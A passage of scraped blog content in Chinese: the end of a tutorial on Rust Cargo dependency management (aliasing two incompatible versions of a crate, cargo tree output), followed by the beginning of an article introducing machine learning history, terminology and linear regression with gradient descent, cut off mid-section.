v1.3.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/C-1.3.0) └── A v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/A) └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app) $cargo tree --workspace --target all --all-features --invert C@2.4.0 C v2.4.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/C) └── B v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app/B) └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/app) 5.4.4 直接依赖C的不同版本 在Go中我们可以通过语义导入版本实现在app中直接依赖同一个包的两个不兼容版本：\nimport ( \u0026#34;github.com/user/repo\u0026#34; v2 \u0026#34;github.com/user/repo/v2\u0026#34; ) 在Rust中，是否也可以实现这一点？如果可以，又是如何实现的呢？答案是可以。至少我们可以通过使用Cargo的依赖别名功能来实现。我们建立一个名为dep_alias的示例，其目录结构如下：\n$tree -F dep_alias dep_alias ├── C/ │ ├── Cargo.lock │ ├── Cargo.toml │ └── src/ │ └── lib.rs ├── C-1.3.0/ │ ├── Cargo.lock │ ├── Cargo.toml │ └── src/ │ └── lib.rs ├── Cargo.lock ├── Cargo.toml └── src/ └── main.rs 5 directories, 9 files 在这个示例中，app依赖C-1.3.0目录下的C 1.3.0版本以及C目录下的C 2.4.0版本，下面是app/Cargo.toml和app/src/main.rs的代码：\n// rust-guide-for-gopher/managing-deps/dep_alias/Cargo.toml $cat Cargo.toml [package] name = \u0026#34;app\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] C_v1 = { path = \u0026#34;C-1.3.0\u0026#34;, version = \u0026#34;1.0.0\u0026#34;, package = \u0026#34;C\u0026#34; } C_v2 = { path = \u0026#34;C\u0026#34;, version = \u0026#34;2.3.0\u0026#34;, package = \u0026#34;C\u0026#34; } $cat src/main.rs $cat src/main.rs extern crate C_v1 as C_v1; extern crate C_v2 as C_v2; fn main() { C_v1::hello_from_c(); C_v2::hello_from_c(); } 这里，我们为C的两个不兼容版本建立了两个别名：C_v1和C_v2，然后在代码中分别使用C_v1和C_v2，cargo会分别为C_v1和C_v2选择合适的版本，这里C_v1最终选择为1.3.0，而C_v2最终定为2.4.0：\n$cargo run Hello from C 1.3.0 Hello from C 2.4.0 由于包名依然是C，所以在使用cargo tree查看依赖关系时，依然要带上不同版本：\n$cargo tree --workspace --target all --all-features --invert C@1.3.0 C v1.3.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/dep_alias/C-1.3.0) └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/dep_alias) $cargo tree --workspace --target all --all-features --invert C@2.4.0 C v2.4.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/dep_alias/C) └── app v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/managing-deps/dep_alias) 5.5 小结 在这一章中，我们介绍了Rust中通过Cargo进行依赖管理的基本方法。\n我们首先简要回顾了Go语言的依赖管理，特别是Go Modules的相关内容，如go.mod文件、版本控制机制等。\n接着我们介绍了Rust中通过Cargo进行依赖管理的方法。Cargo依赖主要有三种来源：crates.io官方注册中心、Git仓库和本地文件系统。通过Cargo.toml文件和cargo命令，我们可以灵活添加、升级、降级或删除依赖项。文中还讲解了Cargo的版本兼容性规则和各种指定版本的语法。\n针对依赖同一个库的不同版本的情况，我通过示例说明了Cargo的处理方式：如果版本相同或兼容，Cargo会选择满足要求的当前最高版本；如果版本不兼容，Cargo允许在项目中同时使用这些不兼容的版本，可以通过别名来区分使用。\n总体来看，Cargo提供的依赖管理方式表达能力很强大，但相对于Go来说，还是复杂了很多，学习起来曲线要高很多，troubleshooting起来也不易，文中尚有一个遗留问题尚未解决，如果大家有解决方案或思路，可以在文章评论中告知我，感谢。\n注：本文涉及的都是cargo依赖管理的基础内容，还有很多细节以及高级用法并未涉及。\n本章中涉及的源码可以在这里下载。\n5.6 参考资料 Cargo Book: Specifying Dependencies - https://doc.rust-lang.org/cargo/reference/specifying-dependencies.html Cargo Book: Registries - https://doc.rust-lang.org/cargo/reference/registries.html Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) - https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 - https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/06/16/gopher-rust-first-lesson-managing-deps/","summary":"\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-rust-first-lesson-managing-deps-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/06/16/gopher-rust-first-lesson-managing-deps\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/06/16/gopher-rust-first-lesson-managing-deps\"\u003ehttps://tonybai.com/2024/06/16/gopher-rust-first-lesson-managing-deps\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在上一章《\u003ca href=\"https://tonybai.com/2024/06/06/gopher-rust-first-lesson-organizing-rust-code\"\u003eGopher的Rust第一课：Rust代码组织\u003c/a\u003e》中，我们了解了Rust的代码组织形式，知道了基于Cargo构建项目以及Rust代码组织是目前的标准方式，同时Cargo也是管理项目外部依赖的标准方法，而项目内部的代码组织则由Rust module来完成。\u003c/p\u003e\n\u003cp\u003e在这一章中，我们将聚焦Rust的依赖管理，即Cargo对外部crate依赖的管理操作。我将先介绍几种依赖的来源类型（来自crates.io或其他Package Registries、来自某个git仓库以及来自本地的crate等），然后说说Cargo依赖的常见操作，包括依赖的添加、升降版本和删除；最后，聊一下如何处理依赖同一个依赖项的不同版本。\u003c/p\u003e","title":"Gopher的Rust第一课：Rust的依赖管理"},{"content":"\n本文永久链接 – https://tonybai.com/2024/06/10/go-and-nn-part2-linear-regression\n离发表上一篇与机器学习相关的文章《Go与神经网络：张量运算》已经过去整整一年了，AI领域，特别是大模型领域的热度不仅未有减弱，反而愈演愈烈。整个行业变得更卷，竞争更加激烈，大模型你方唱罢我登场，层出不穷，各自能力也都在不断提升，并在自然语言处理、问答、生成等方面展现出强大的能力。同时基于RAG(Retrieval-Augmented Generation)等技术，大模型还可以实时检索相关知识并融合到生成结果中，进一步提升了大模型在专业领域的应用价值。\n很多人说用好大模型不必非要了解大模型的底层原理，也许这句话是对的。但对于后端程序员的我来说，对底层原理的不理解，始终让我有一种“不安全感”。我认为即使大模型的使用变得日益简单和广泛，但如果我们无法深入理解其工作机制，恐怕还是难以充分发挥它们的潜力，甚至无法准确评估它们的局限性和风险。\n但对大模型原理的学习是一个循序渐进的学习过程，我们不能一蹴而就地达到对大模型原理的深入理解。我决定从最基础的机器学习入手，从传统机器学习解决问题的一般步骤开始，以线性回归这个传统传统机器学习的”Hello, World”示例为切入点，逐步探讨机器学习的基本概念和实现流程，这也是本篇文章的初衷与主要内容。\n1. 机器学习的那些事儿 1.1 人工智能的诞生 相对于机器学习（Machine Learning，ML），普通大众更熟悉“人工智能（Artificial Intelligence，AI）”这个字眼儿。\n就像一千个人眼中有一千个哈姆雷特，每个人对人工智能的理解都不尽相同：有些人将其看成一个学术领域，有些人视之为人类文明下一个要实现的目标，懵懂无知的少年会将其想象为那种高大威猛的机器人（其实是隶属于具身智能，人工智能和机器人学的一个跨学科分支），而还有些人认为它是空中楼阁，永远无法实现。\n作为程序员，我们更聚焦工程领域。而工程领域主要是消化学术领域的研究，将其实现落地并应用于人类生活的方方面面。那么学术领域是如何定义人工智能的呢？人工智能专家Stuart Russell和Peter Norvig在他们的联合著作《人工智能：现代方法（第4版）》中将人工智能定义为对从环境中接收感知并执行动作的智能体(Agent)的研究，并强调每个这样的智能体都要实现一个将感知序列映射为动作的函数。\n对人工智能的定义虽然内容不长，但这里面却蕴含着计算机科学家对人工智能几十年的探索历程与尝试。\n人工智能的概念始于20世纪50年代。1950年，阿兰·图灵（Alan Turing）发表了《计算机器与智能》一文，提出了著名的图灵测试。但人工智能一词的正式提出还要等到6年后的1956年达特茅斯会议。对于人工智能领域而言，这是堪比理论物理学界1927年比利时第五届索尔维会议（如下图）的一次会议。约翰·麦卡锡（John McCarthy）、马文·闵斯基（Marvin Minsky，人工智能与认知学专家）、克劳德·香农（Claude Shannon，信息论的创始人）、艾伦·纽厄尔（Allen Newell，计算机科学家）、赫伯特·西蒙（Herbert Simon，诺贝尔经济学奖得主）等科学家正聚在一起，讨论着一个完全不食人间烟火的主题：用机器来模仿人类学习以及其他方面的智能。会议足足开了两个月的时间，虽然大家没有达成普遍的共识，但是却为会议讨论的内容起了一个名字：人工智能。因此，1956年也就成为了人工智能元年。\n1927年比利时第五届索尔维会议合影\n1.2 符号主义：早期的人工智能实现路径 在人工智能的早期探索阶段，研究主要集中于符号主义（Symbolism）和逻辑推理。这种方法使用符号来表示知识和问题，并通过逻辑推理来解决问题。这种方法依赖于明确的规则和符号系统来进行推理和决策。\n逻辑推理是符号主义的核心，它使用逻辑规则来进行推理和决策。逻辑推理包括演绎推理、归纳推理和溯因推理：\n演绎推理：从一般规则推导出特定结论（例如，从“所有人都会死”推导出“苏格拉底会死”）。 归纳推理：从特定实例推导出一般规则（例如，从“苏格拉底会死”推导出“所有人都会死”）。 溯因推理：从结果推断出可能的原因（例如，从“苏格拉底死了”推断出“他是人”）。 LISP语言在符号主义和逻辑推理盛行的阶段发挥了重要作用，其强大的符号处理能力、递归和动态特性、交互式开发环境以及宏和元编程功能使其成为AI研究和开发的主要工具。其他语言如Prolog和Scheme也在特定领域中提供了重要支持。\n虽然在机器学习大行其道的今天，符号主义系统不受待见了，但不可否认符号主义系统也有很多优点：\n可解释性：符号主义系统的推理过程透明、易于理解。 明确规则：使用明确的规则和逻辑，使得系统行为可预测。 可靠性：在明确定义的领域内，符号主义系统可以提供可靠的推理结果。 不过，它的缺点也很明显：\n局限性： 依赖于预定义的规则和知识库，难以处理复杂和动态的环境。 知识获取： 知识工程需要大量人工干预，获取和维护知识库成本高。 正是由于这些这些不足，以及当时计算能力和数据存储的限制，AI研究在1970年代遇到了障碍，进入了第一次“AI寒冬”。许多早期的承诺未能实现，资金和兴趣减少。\n1980年代，符号主义和逻辑推理迎来了第二次巅峰：知识工程和专家系统。专家系统是计算机程序，旨在模仿人类专家的决策能力。它们在特定领域内使用显式编码的知识库和推理引擎来解决复杂问题或提供建议。第一个成功的商用专家系统R1在数字设备公司(Digital Equipment Corporation，DEC)投入使用(McDermott, 1982)，该程序帮助公司配置新计算机系统的订单。截至1986年，它每年为公司节省约4000万美元。到1988年，DEC的人工智能小组已经部署了40个专家系统，而且还有更多的专家系统在开发中。但事实证明，为复杂领域构建和维护专家系统是困难的，一部分原因是系统使用的推理方法在面临不确定性时会崩溃，另一部分原因是系统无法从经验中学习。专家系统的局限性和开发维护成本直接也导致了第二次“AI寒冬”的到来。\n在两次AI的兴起和“寒冬”中，先行研究者们开发了许多基础性的算法和系统。这些早期研究不仅解决了特定问题，还为AI的理论和实践发展奠定了重要的基础。随着计算能力和数据资源的增加，AI研究逐渐从符号主义转向数据驱动的方法，但这些早期成果仍然具有重要的历史和学术意义。\n1.3 数据驱动与机器学习 数据驱动方法依赖于大量数据，通过从数据中学习模式和关系来进行预测和决策。这种方法不依赖于明确的布尔逻辑和规则，而是通过统计和算法来从数据中提取知识，即基于机器学习而不是手工编码。\n1990年代至2000年代，随着计算能力的提升和数据量的增加，机器学习（ML）逐渐成为AI的主要方法。基于统计学和概率论的算法（如支持向量机和决策树）获得了成功。大数据的可用性和向机器学习的转变帮助人工智能恢复了商业吸引力。大数据是2011年IBM的Watson系统在《危险边缘》(Jeopardy!)问答游戏中战胜人类冠军的关键因素，这一事件深深影响了公众对人工智能的看法。\n《人工智能：现代方法（第4版）》是这样定义机器学习的：如果一个智能体通过对世界进行观测来提高它的性能，我们称其为智能体学习(learning)。学习可以是简单的，例如记录一个购物清单，也可以是复杂的，例如爱因斯坦推断关于宇宙的新理论。当智能体是一台计算机时，我们称之为机器学习(machine learning)：一台计算机观测到一些数据，基于这些数据构建一个模型(model)，并将这个模型作为关于世界的一个假设(hypothesis)以及用于求解问题的软件的一部分。不通过合适的方式编程来解决，而是希望一台机器自主进行学习并解决问题，其原因主要有两个：\n程序的设计者无法预见未来所有可能发生的情形。比如一个被设计用来导航迷宫的机器人无法掌握每一个它可能遇到的新迷宫的布局。 有时候设计者并不知道如何设计一个程序来求解目标问题。比如识别人脸。 可以说，机器学习是另外一种实现人工智能的路径（前一种是符号主义和逻辑推理），它是一类强大的可以从经验中学习的技术。通常采用观测数据或与环境交互的形式，机器学习算法会积累更多的经验，其性能也会逐步提高。\n机器学习的兴起同样离不开早期研究者的成果：\n感知机（1957）： Frank Rosenblatt 设计的感知机是第一个用于分类任务的人工神经网络模型，能够学习二分类任务。感知机也被视为一种最简单形式的前馈式人工神经网络。 K均值聚类（1967）： James MacQueen 提出的K均值聚类算法，是最早的聚类分析方法之一。 决策树（ID3, 1986）： Ross Quinlan 提出的 ID3 算法，是决策树学习的基础。 支持向量机（1992）： Vladimir Vapnik 和 Alexey Chervonenkis 提出了支持向量机，为高维数据分类问题提供了强有力的解决方案。 多层感知器（1986）： 由 Geoffrey Hinton 等人推广的反向传播算法（Backpropagation），使得训练多层神经网络成为可能。 梯度提升树（2000）： Jerome Friedman 提出的梯度提升树（Gradient Boosting Machines），在分类和回归任务中表现出色。 随机森林（2001）： Leo Breiman 提出的随机森林算法，通过集成多个决策树提高了模型的准确性和鲁棒性。 进入2010年后，在大规模数据集以及GPU硬件加速的赋能下，深度神经网络逐渐成为主流且表现卓越的机器学习方案，深度学习走向前台：\nAlexNet（2012）： Alex Krizhevsky 等人在 ImageNet 大赛上使用卷积神经网络（CNN）赢得了第一名，推动了深度学习在计算机视觉中的应用。 生成对抗网络（GAN, 2014）： Ian Goodfellow 等人提出的生成对抗网络，开启了生成模型的新方向。 BERT（2018）： Google 提出的双向编码器表示（BERT）模型，在自然语言处理任务中取得了突破性进展。 Transformers（2022）：Transformers模型及其变种在自然语言处理、图像处理等多个领域取得了显著进展，典型代表是ChatGPT的推出。 1.4 人工智能关系图 基于上面的说明，我们下面用一张图说明一下人工智能、机器学习、神经网络以及深度学习的关系：\n而神经网络是支撑机器学习的重要技术，是深度学习的核心技术。关于神经网络，我们会在后面的系列文章中重点说明。\n网络上也有一个图，可以更详细地展示各个范围内的具体技术，大家也可以参考一下：\n1.5 机器学习的本质 机器学习就是从数据中发现规律，发现的这个规律就是“模型”， 更具体来说就是一个或一组复合在一起的函数。而发现规律的这个过程就叫“学习”或叫“训练”。这个过程与人类学习的有些相似：\n人类和机器都需要输入信息来开始学习。人类通过感官感知信息，机器通过传感器或数据集获取数据。人类通过理解和记忆进行学习，机器通过训练数据调整模型参数进行学习。人类在大脑中存储知识和经验，机器在模型参数和结构中存储学到的模式和规则。人类根据实践中的反馈调整和改进知识，机器根据评估和实际应用中的反馈调整模型参数和结构。两者尽管实现手段不同，但核心思想都是从输入数据中学习知识和模式，通过反馈进行调整和改进，并不断适应新的环境和问题。\n上图中使用神经网络的形式呈现了学习/训练后的模型，其实在一些传统机器学习的简单场景下，训练后的模型可能就是一个简单的一元线性函数，比如：f(x) = wx + h。\n训练后的模型便可以应用于真实环境中的数据，进行推理和预测（serve/predict）。比如说，一个经过大量真实病历数据训练后得到医疗诊断模型，就可以用来预测和诊断新的病患情况了。\n到这里，你可能依然对机器学习一知半解。别着急，之前我也是这样，就想亲手训练一个模型来直观体会一下什么是机器学习。接下来，我们就来训练一个Hello，World级别的模型，不过在真正动手之前，我们还是要先来了解一下机器学习中的术语（“黑话”）与训练的一般步骤。\n2. 机器学习的术语与一般步骤 机器学习本身就有不低的门槛，因此我们将由浅入深的来学习机器学习的术语，并简要说明一下机器学习项目的一般步骤。\n2.1 特征、标签与模型 在下图中，我们以一个简单的多元线性回归模型（即一个多元一次函数）来说明一下一些机器学习中常见的术语：\n我们先介绍与数据有关的几个重要术语，其他在后面说明机器学习的一般步骤时，结合具体的场景再行讲解。机器学习离不开数据，如上图中左上角的表格就是“喂给”机器学习训练的训练数据集(training dataset )。\n上图中的数据集是一个常见的房价相关数据，该数据集有三条数据，它们组成了该数据集的数据样本。表中每条数据有三个影响房价的“因子”：居住面积、离市中心距离和建成时间（也就是房龄），这些因子共同决定了房子的价格。在机器学习中，我们称这些“因子”为特征(feature)。而房价则被称为标签(label)。从数据来看，这三个特征表现出明显的与房价(y)的相关性，如下图：\n机器学习的目的就是找到通过特征预测标签的函数（即模型），然后将得到的函数应用于生产中进行标签预测。特征是机器学习模型的输入，标签是机器学习模型的输出。无论是在训练阶段，还是在预测阶段。特征的个数称为特征的维度，维度越高，数据集越复杂。\n了解完特征、标签和模型后，我们来看看机器学习项目的一般步骤，更具体来说就是机器学习训练的步骤，一旦训练ok，得到模型，模型应用就比较简单了。\n2.2 机器学习训练的一般步骤 上图展示了机器学习训练的一般步骤，我们逐个说明一下。\n2.2.1 数据收集与预处理 就像人类要从各种资料（书籍、媒体等)中学习一样，机器也要从数据中学习。没有数据，机器学习就无从谈起。数据也是通过机器学习解决生活中实际问题的前提。\n数据收集渠道有多种，有爬取互联网的数据，有开源数据集（Image Net、Kaggle、Google Public Data Explorer），有购买的，还有客户积攒的海量历史数据等。这些数据拿到手后，还不能直接喂给模型进行训练，因为业界有句名言“输入的是垃圾，输出的也是垃圾”(Garbage in, garbage out)，我们需要对数据进行分析和预处理，了解数据内在关系并使其满足机器学习训练的规格和质量要求，最后还需要做特征的提取，即使用数据的领域知识来创建/识别出那些使机器学习算法起作用的特征的过程。\n数据的预处理是十分重要的工作，预处理的好坏直接决定了训练出来的机器学习模型的有效性。在《零基础学习机器学习》一书中提到了数据预处理工作包含的几项内容：\n可视化：用Excel表和各种数据分析工具(如Matplotlib等)从各种角度(如列表、直方图、散点图等)探索一下数据。对数据有了基本的了解后，才方便进一步分析判断，即为后续的模型选择奠定基础。 数据向量化：把原始数据格式化，使其变得机器可以读取。例如，将原始图片转换为机器可以读取的数字矩阵，将文字转换为one-hot编码，将文本类别(如男、女)转换成0、1这样的数值。 处理坏数据和空数据：一条数据可不是全部都能用，要利用数据处理工具来把“捣乱”的“坏数据”(冗余数据、离群数据、错误数据)处理掉，把缺失值补充上。 特征缩放：可以显著提升模型的性能和训练效率。许多机器学习算法，例如梯度下降法，依赖于特征之间的距离计算。如果特征的尺度差异很大，会导致算法在不同特征方向上以不同的速度进行更新，从而降低收敛速度。特征缩放可以将所有特征缩放到相同的尺度，使算法能够更快地收敛到最优解。特征尺度差异过大可能导致数值计算不稳定，例如出现梯度爆炸或梯度消失现象，影响模型训练效果。特征缩放还可以使模型的权重更加可解释。当特征尺度差异很大时，模型的权重可能无法反映特征的实际重要性。特征缩放可以使权重更加反映特征的真实贡献。 特征缩放适用于大多数机器学习算法，包括线性回归、逻辑回归、支持向量机、神经网络等。常见的特征缩放方法包括如下几种：\n标准化 (Standardization)：对数据特征分布的转换，目标是使其符合正态分布(均值为0，标准差为1)。在实践中，会去除特征的均值来转换数据， 使其居中，然后除以特征的标准差来对其进行缩放。 归一化/规范化 (Normalization)：将特征数据缩放到特定范围，通常是0到1之间。归一化不会改变数据的分布形态。 数据预处理还包括特征工程和特征提取，即确定数据中究竟哪个特征对问题的解决会起到关键作用，并提取出来作为后续训练和预测的输入特征。许多现代机器学习算法，如深度学习模型，可以从原始数据中学习复杂的表示形式，而不需要明确的特征工程，但是特征工程仍然在机器学习工作流程中扮演着重要角色，尤其是在领域知识、可解释性和数据质量方面起到重要作用。不过特征提取是一个细分领域，内容很多(对之我也不甚了解)，这里就不展开说了。\n2.2.2 选择机器学习模型 AI科学家期望能有一个通用的机器学习模型可以学习一切类型的数据，并处理所有领域的任务，这样世界将变得简单了。但就目前AI发展的水平来看，还没有一个通用的机器学习模型可以适合于所有类型的数据和任务，即便是当今大热的预训练的大语言模型也可能不胜任某一领域的工作。在前期的传统机器学习阶段，不同的数据和问题需要采用不同的机器学习方法和模型。\n影响机器学习模型选择的一些关键的因素包括：\n数据类型和特征：比如图像数据和文本数据一般需要不同的模型。数据的维度、稀疏程度等也会影响选择的模型。 任务类型：分类、回归、聚类等任务适合不同的模型。有监督学习和无监督学习也需要不同的方法。 数据规模：对于大规模数据，可扩展性强的模型如深度学习效果更好。小样本数据可能更适合传统的机器学习算法。 领域知识：某些领域问题需要结合专业领域知识，不能单纯依赖通用的机器学习模型。 这里提到了有监督学习和无监督学习，提到了分类、回归、聚类等任务类型，我们需要简单科普一下这些概念。\n机器学习中，有监督学习和无监督学习是两种主要的学习方法，它们有各自擅长的任务类型。\n有监督学习是一种通过使用已标注的数据(即如前面图中的训练数据集那样，样本数据包含特征与对应的标签)来训练模型的方法。在这种方法中，每个训练样本都是一个输入-输出对，模型通过学习这些对的关系来预测新的输入数据的输出。有监督学习擅长的任务类型包括下面这几个：\n分类任务：将输入数据分类到预定义的类别中，例如垃圾邮件检测、图像分类。 回归任务：预测连续的数值输出，例如房价预测（前面图中的示例）、股票价格预测。 标注任务：为输入数据中的每个元素分配一个标签。例如：命名实体识别（NER）：在文本中识别出人名、地名、组织名等。 排序任务：根据某种标准对项目进行排序。例如：信息检索、推荐系统。 序列预测任务：根据时间序列数据进行预测。例如，销售额预测、天气预报等。 使用有监督学习，我们需要向模型提供巨大数据集，且每个数据样本都需要包含特征和相应标签值，这很可能是一个既耗时又费钱的过程。\n而无监督学习则是一种通过使用未标注的数据来训练模型的方法。在这种方法中，模型试图从数据中发现结构或模式，而无需使用明确的输入-输出对。无监督学习擅长的任务类型包括下面几个：\n聚类任务：将相似的样本归为一类，比如给定一组照片，模型能把它们分成风景照片、狗、婴儿、猫和山峰。同样，给定一组用户的网页浏览记录，模型能将具有相似行为的用户聚类。 降维任务：减少数据的维度，同时保持其重要特征，例如主成分分析（PCA）问题，模型能否找到少量的参数来准确地捕捉数据的线性相关属性？比如，一个球的运动轨迹可以用球的速度、直径和质量来描述。 异常检测：识别数据中的异常或异常模式，例如欺诈检测、设备故障检测。 这两种方法在不同的应用场景中各有所长，选择哪种方法通常取决于数据的特性和具体的任务需求。\n我们以前面图中的房价预测问题为例，根据前面关于有监督和无监督的任务类型以及带有标签的数据对的训练数据集，我们初步判断应该选择线性回归模型。当然，你也可以自己探索数据集中一些特征与标签的关系，比如我们利用gonum.org/v1/plot相关包分别画出房屋面积、离市中心距离两个特征与标签房价的散点图（当然这是自己生成的一组训练数据集，具体描画代码参见https://github.com/bigwhite/experiments/blob/master/go-and-nn/linear-regression/plotter.go）：\n从数据的特征散点图，可以看出一些特征与标签之间的线性关系，这符合使用线性回归模型的要求。线性回归基于几个简单的假设：首先，假设自变量(x1, x2, x3, …, xn)和因变量y之间的关系是线性的，即y可以表示为自变量集合中元素的加权和。以前面的房价预测问题为例，线性模型对应的假设函数可以表示为居住面积、与市中心距离以及房龄的加权和，就像下面这样：\n这个函数叫做假设函数（也叫预测函数），其中的w1、w2和w3称为权重，权重决定了每个特征对我们预测值的影响。b称为偏置(bias)、 偏移量(offset)或截距(intercept)。偏置是指当所有特征都取值为0时，预测值应该为多少。\n现在权重w1、w2、w3和偏置b的值都是未知的，它们也被称为模型内的参数，直接影响模型的预测结果。\n接下来的训练就是为了得到这些参数的合理值，使得假设函数得到的结果与真实房价越接近越好。\n2.2.3 训练 到这里，我们拥有了一份训练数据集（带标签）以及一个权重和偏置参数未知的多元线性假设函数（y’）。而我们接下来要做的就是找到假设函数中各个未知参数的合理值。\n机器学习的“学习训练”过程非常朴素，就是将训练数据集中的特征逐条喂给y’，并将得到的结果与训练数据集中的标签比对，如果差距过大，则调整y’的权重参数和偏置，然后再重复一轮学习，这样循环往复直到通过y’计算得到的结果与标签的差距在预期范围以内。\n不过，这个过程看似容易，但真正实施起来，还有很多“阻塞点”要突破。以y’这个多元线性函数模型为例，首先就是权重和偏置参数的初始值。在我们这篇入门文章中，针对y’这个简单的线性函数，我们可采用随机初始化的方式，即将参数随机地设置在一个合理的范围内。这种方法简单快捷，但对于复杂的模型，可能会导致收敛速度慢或陷入局部最优。关于初始参数的选择也是一个细分方向，这里就不展开说明了。\n其次，我们要确定一个y’计算结果与训练数据集中标签值的差距计算方法。机器学习领域称这个计算方法为损失函数(Loss function)。损失也就是 误差，也称为成本(cost)或代价，用于体现当前预测值和真实值之间的差距。它是一个数值，表示对于单个样本而言模型预测的准确程度。如果模型的预测完全准确，则损失为0；如果不准确，就有损失。在机器学习中，我们追求的当然是比较小的损失。不过，模型好不好还不能仅看单个样本，而是要针对所有数据样本，找到一组平均损失“较小”的函数模型。计算平均损失是每一个机器学习项目的必要环节。损失函数实质上就是用来计算平均损失的，它是模型参数的函数：L(w1, w2, w3, b)。机器学习的训练过程就是找一组模型参数的解，比如本示例中的（w1, w2, w3, b），使得损失函数的计算结果最小。\n机器学习中的损失函数有很多，针对不同任务类别，选择一个合适的即可。\n比如，用于回归的损失函数就有：均方误差(Mean Square Error，MSE)函数、平均绝对误差(Mean Absolute Error，MAE)函数和平均偏差误差(mean bias error)函数。用于分类的损失函数有交叉熵损失(cross-entropy loss)函数和多分类SVM损失(hinge loss)函数等。\n对于我们的回归问题来说，下面的均方差函数L就可以满足评估参数的目的了。\n在这个函数中，yi’基于样本数据的特征经由假设函数计算出来的值，yi则是样本数据的标签值。假设只有一个样本数据如下：\nx1 = 55, x2 = 11, x3 = 5, y = 210 我们的假设函数为：y’ = 0.1×1 + 0.1×2+0.1×3 + 0.1 ，即初始参数w1 = w2 = w3 = b = 0.1。那么我们可以计算一下针对这个样本的损失：\ny\u0026#39; = 0.1 * 55 + 0.1 * 11 + 0.1 * 5 + 0.1 = 7.2 L = 1/2 * (7.2 - 210)^2 = 20563.920000000002 这个损失函数值看起来就不大行:)，我们需要调整模型参数再战！但如何调整呢？w1调大？w2调小？w3不动？尽管现在算力已经很强大了，但我们也不能拍脑袋乱猜！我们需要一种科学的方法为机器学习后续的参数调整指明方向，这样才能大幅缩短训练过程，并得到满足需求的模型参数组合。\n大多流行的优化算法通常基于一种基本方法–梯度下降(gradient descent)。简而言之，在每个步骤中，梯度下降法都会检查每个参数，看看如果仅对该参数进行少量变动，训练集损失会朝哪个方向移动。然后，它在可以减少损失的方向上优化参数。\n梯度下降的过程就是在程序中一点点变化参数w1、w2、w3和b，使L ，也就是损失值逐渐趋近最低点(也称为机器学习中的最优解)。而要实现这一点，我们需要借助导数。导数描述了函数在某点附近的变化率(比如：L正在随着w1增大而增大还是减小)，而这正是进一步猜测更好的权重时所需要的全部内容。即梯度下降法通过求导来计算损失曲线在起点处的梯度。此时，梯度就是损失曲线导数的矢量，它可以让我们了解哪个方向距离目标“更近”或“更远”。如果求导后梯度为正值，则说明L正在随着w增大而增大，应该减小w，以得到更小的损失。如果求导后梯度为负值，则说明L正在随着w增大而减小，应该增大w，以得到更小的损失。\n在单个权重参数的情况下，损失相对于权重的梯度就称为导数；若考虑偏置，或存在多个权重参数时（就像我们上面的房价预测示例），损失相对于单个权重的梯度就称为偏导数。\n在上面示例中，损失函数L是权重参数和偏置的函数，表示为L(w1, w2, w3, b)。我们需要分别求出L相对于w1、w2、w3和b的偏导数来决定后续各个权重参数和偏置参数的调整方向（增大还是减小）。我们以L对w1的偏导数为例，给出偏导数公式的推导过程：\n我们看到：针对每个样本，我们计算其损失值(y’-y)与该样本特征(x1)的乘积。取这些乘积的平均值就得到了L对w1的偏导值。\n依次类推，我们可以得到L对w1、w2、w3和b的偏导数公式：\n上面的偏导数为我们指定了参数调整方向，下面是w1、w2、w3和b的更新公式：\n这种计算梯度并反向更新模型参数的过程就称为“反向传播”。\n上面参数更新公式中有一个新的变量α，该变量代表的是学习率(learning rate)。是一个超参数，它控制着模型参数更新的步伐大小。在梯度下降过程中，学习率决定了每次更新参数时移动的步长。学习率的引入是为了控制模型训练的速度。如果学习率太大，参数更新步伐过大，可能导致模型无法收敛甚至发散；如果学习率太小，参数更新步伐过小，训练时间会过长且可能陷入局部最小值。\nw1的更新公式是w1减去损失函数相对于w1的偏导数乘以学习率，这个公式表示，我们沿着损失函数梯度的负方向更新参数，因为梯度的方向是损失函数增大的方向，所以负方向是使损失函数减小的方向。\n到这里，我们已经可以实现训练的闭环了！训练后的模型可以使用另外一套测试数据集来评估模型的效果。但训练出来的模型是否真的是满足要求的呢？还不一定，很多情况下，我们还需要对超参进行调试以继续优化模型。\n2.2.4 